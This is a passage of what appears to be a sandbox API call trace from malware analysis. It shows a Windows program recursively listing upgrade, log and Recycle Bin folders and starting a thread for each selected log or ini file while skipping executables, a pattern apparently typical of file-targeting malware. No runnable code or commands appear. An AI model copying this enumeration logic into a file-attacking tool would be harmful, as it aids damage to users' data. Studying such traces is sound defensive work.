	[0073.247] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39673d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39673d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x6cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HttpHelper.exe", cAlternateFileName="HTTPHE~1.EXE")) returned 1
	[0073.247] wcscmp (_String1="HttpHelper.exe", _String2=".") returned 1
	[0073.247] wcscmp (_String1="HttpHelper.exe", _String2="..") returned 1
	[0073.247] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PostOOBEScript.cmd", cAlternateFileName="POSTOO~1.CMD")) returned 1
	[0073.247] wcscmp (_String1="PostOOBEScript.cmd", _String2=".") returned 1
	[0073.247] wcscmp (_String1="PostOOBEScript.cmd", _String2="..") returned 1
	[0073.247] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b3c1b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b3c1b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1
	[0073.247] wcscmp (_String1="resources", _String2=".") returned 1
	[0073.247] wcscmp (_String1="resources", _String2="..") returned 1
	[0073.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d73390
	[0073.248] wcscpy (in: _Dest=0x2d73390, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade"
	[0073.248] wcscat (in: _Dest=0x2d73390, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\"
	[0073.248] wcscat (in: _Dest=0x2d73390, _Source="resources" | out: _Dest="C:\\Windows10Upgrade\\resources") returned="C:\\Windows10Upgrade\\resources"
	[0073.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c
	[0073.248] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea9ef415, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea9ef415, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x624407ed, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0x3d14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="upgrader_default.log", cAlternateFileName="UPGRAD~1.LOG")) returned 1
	[0073.248] wcscmp (_String1="upgrader_default.log", _String2=".") returned 1
	[0073.248] wcscmp (_String1="upgrader_default.log", _String2="..") returned 1
	[0073.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d77960
	[0073.248] wcscpy (in: _Dest=0x2d77960, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade"
	[0073.249] wcscat (in: _Dest=0x2d77960, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\"
	[0073.249] wcscat (in: _Dest=0x2d77960, _Source="upgrader_default.log" | out: _Dest="C:\\Windows10Upgrade\\upgrader_default.log") returned="C:\\Windows10Upgrade\\upgrader_default.log"
	[0073.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d77960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570
	[0073.249] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccdc86a8, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x32fe02cc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0x0, dwReserved1=0x0, cFileName="upgrader_win10.log", cAlternateFileName="UPGRAD~2.LOG")) returned 1
	[0073.249] wcscmp (_String1="upgrader_win10.log", _String2=".") returned 1
	[0073.249] wcscmp (_String1="upgrader_win10.log", _String2="..") returned 1
	[0073.249] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2d53c10
	[0073.249] wcscpy (in: _Dest=0x2d53c10, _Source="C:\\Windows10Upgrade" | out: _Dest="C:\\Windows10Upgrade") returned="C:\\Windows10Upgrade"
	[0073.249] wcscat (in: _Dest=0x2d53c10, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\"
	[0073.249] wcscat (in: _Dest=0x2d53c10, _Source="upgrader_win10.log" | out: _Dest="C:\\Windows10Upgrade\\upgrader_win10.log") returned="C:\\Windows10Upgrade\\upgrader_win10.log"
	[0073.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d53c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574
	[0073.250] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea63f06a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63f06a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x880c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wimgapi.dll", cAlternateFileName="")) returned 1
	[0073.250] wcscmp (_String1="wimgapi.dll", _String2=".") returned 1
	[0073.250] wcscmp (_String1="wimgapi.dll", _String2="..") returned 1
	[0073.250] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea642af3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea642af3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xdf8c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="windlp.dll", cAlternateFileName="")) returned 1
	[0073.250] wcscmp (_String1="windlp.dll", _String2=".") returned 1
	[0073.250] wcscmp (_String1="windlp.dll", _String2="..") returned 1
	[0073.250] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea64a022, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea64a022, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x159ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows10UpgraderApp.exe", cAlternateFileName="WINDOW~1.EXE")) returned 1
	[0073.250] wcscmp (_String1="Windows10UpgraderApp.exe", _String2=".") returned 1
	[0073.250] wcscmp (_String1="Windows10UpgraderApp.exe", _String2="..") returned 1
	[0073.250] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea64ee41, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea64ee41, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinREBootApp32.exe", cAlternateFileName="WINREB~1.EXE")) returned 1
	[0073.251] wcscmp (_String1="WinREBootApp32.exe", _String2=".") returned 1
	[0073.251] wcscmp (_String1="WinREBootApp32.exe", _String2="..") returned 1
	[0073.251] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6528e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6528e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x64c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinREBootApp64.exe", cAlternateFileName="WINREB~2.EXE")) returned 1
	[0073.251] wcscmp (_String1="WinREBootApp64.exe", _String2=".") returned 1
	[0073.251] wcscmp (_String1="WinREBootApp64.exe", _String2="..") returned 1
	[0073.251] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6528e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6528e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x64c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinREBootApp64.exe", cAlternateFileName="WINREB~2.EXE")) returned 0
	[0073.251] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0073.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7be00) returned 1
	[0073.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bcb0) returned 1

Thread:
	id = 38
	os_tid = 0xf8c

	[0073.294] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2c) returned 0x2d7be00
	[0073.294] wcscpy (in: _Dest=0x2d7be00, _Source="C:\\$GetCurrent\\Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs"
	[0073.294] wcscat (in: _Dest=0x2d7be00, _Source="\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\"
	[0073.294] wcscat (in: _Dest=0x2d7be00, _Source="*" | out: _Dest="C:\\$GetCurrent\\Logs\\*") returned="C:\\$GetCurrent\\Logs\\*"
	[0073.294] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.294] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0073.296] wcscmp (_String1=".", _String2=".") returned 0
	[0073.296] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.296] wcscmp (_String1="..", _String2=".") returned 1
	[0073.296] wcscmp (_String1="..", _String2="..") returned 0
	[0073.296] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0073.296] wcscmp (_String1="downlevel_2017_09_07_02_02_39_766.log", _String2=".") returned 1
	[0073.296] wcscmp (_String1="downlevel_2017_09_07_02_02_39_766.log", _String2="..") returned 1
	[0073.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x2d600c8
	[0073.296] wcscpy (in: _Dest=0x2d600c8, _Source="C:\\$GetCurrent\\Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs"
	[0073.296] wcscat (in: _Dest=0x2d600c8, _Source="\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\"
	[0073.296] wcscat (in: _Dest=0x2d600c8, _Source="downlevel_2017_09_07_02_02_39_766.log" | out: _Dest="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log"
	[0073.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d600c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578
	[0073.297] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0073.297] wcscmp (_String1="oobe_2017_09_07_03_08_57_737.log", _String2=".") returned 1
	[0073.297] wcscmp (_String1="oobe_2017_09_07_03_08_57_737.log", _String2="..") returned 1
	[0073.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4732d58
	[0073.297] wcscpy (in: _Dest=0x4732d58, _Source="C:\\$GetCurrent\\Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs"
	[0073.297] wcscat (in: _Dest=0x4732d58, _Source="\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\"
	[0073.297] wcscat (in: _Dest=0x4732d58, _Source="oobe_2017_09_07_03_08_57_737.log" | out: _Dest="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log"
	[0073.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4732d58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c
	[0073.298] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0073.298] wcscmp (_String1="PartnerSetupCompleteResult.log", _String2=".") returned 1
	[0073.298] wcscmp (_String1="PartnerSetupCompleteResult.log", _String2="..") returned 1
	[0073.298] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d54790
	[0073.298] wcscpy (in: _Dest=0x2d54790, _Source="C:\\$GetCurrent\\Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs"
	[0073.298] wcscat (in: _Dest=0x2d54790, _Source="\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\"
	[0073.298] wcscat (in: _Dest=0x2d54790, _Source="PartnerSetupCompleteResult.log" | out: _Dest="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log"
	[0073.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d54790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580
	[0073.299] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0
	[0073.299] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0073.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7be00) returned 1
	[0073.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78230) returned 1

Thread:
	id = 39
	os_tid = 0xfdc

	[0073.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x2d7bee0
	[0073.296] wcscpy (in: _Dest=0x2d7bee0, _Source="C:\\$GetCurrent\\SafeOS" | out: _Dest="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS"
	[0073.296] wcscat (in: _Dest=0x2d7bee0, _Source="\\" | out: _Dest="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\"
	[0073.296] wcscat (in: _Dest=0x2d7bee0, _Source="*" | out: _Dest="C:\\$GetCurrent\\SafeOS\\*") returned="C:\\$GetCurrent\\SafeOS\\*"
	[0073.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d849e0
	[0073.300] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0073.302] wcscmp (_String1=".", _String2=".") returned 0
	[0073.303] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.303] wcscmp (_String1="..", _String2=".") returned 1
	[0073.303] wcscmp (_String1="..", _String2="..") returned 0
	[0073.303] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0073.303] wcscmp (_String1="GetCurrentOOBE.dll", _String2=".") returned 1
	[0073.303] wcscmp (_String1="GetCurrentOOBE.dll", _String2="..") returned 1
	[0073.303] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1
	[0073.303] wcscmp (_String1="GetCurrentRollback.ini", _String2=".") returned 1
	[0073.303] wcscmp (_String1="GetCurrentRollback.ini", _String2="..") returned 1
	[0073.303] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d79fd0
	[0073.303] wcscpy (in: _Dest=0x2d79fd0, _Source="C:\\$GetCurrent\\SafeOS" | out: _Dest="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS"
	[0073.303] wcscat (in: _Dest=0x2d79fd0, _Source="\\" | out: _Dest="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\"
	[0073.303] wcscat (in: _Dest=0x2d79fd0, _Source="GetCurrentRollback.ini" | out: _Dest="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini"
	[0073.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d79fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584
	[0073.304] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0073.304] wcscmp (_String1="PartnerSetupComplete.cmd", _String2=".") returned 1
	[0073.304] wcscmp (_String1="PartnerSetupComplete.cmd", _String2="..") returned 1
	[0073.304] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0073.304] wcscmp (_String1="preoobe.cmd", _String2=".") returned 1
	[0073.304] wcscmp (_String1="preoobe.cmd", _String2="..") returned 1
	[0073.304] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0073.304] wcscmp (_String1="SetupComplete.cmd", _String2=".") returned 1
	[0073.304] wcscmp (_String1="SetupComplete.cmd", _String2="..") returned 1
	[0073.304] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0
	[0073.304] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0073.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d849e0) returned 1
	[0073.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bee0) returned 1
	[0073.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bce8) returned 1

Thread:
	id = 40
	os_tid = 0xffc

	[0073.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70900
	[0073.302] wcscpy (in: _Dest=0x2d70900, _Source="C:\\$Recycle.Bin\\S-1-5-18" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-18") returned="C:\\$Recycle.Bin\\S-1-5-18"
	[0073.302] wcscat (in: _Dest=0x2d70900, _Source="\\" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-18\\") returned="C:\\$Recycle.Bin\\S-1-5-18\\"
	[0073.302] wcscat (in: _Dest=0x2d70900, _Source="*" | out: _Dest="C:\\$Recycle.Bin\\S-1-5-18\\*") returned="C:\\$Recycle.Bin\\S-1-5-18\\*"
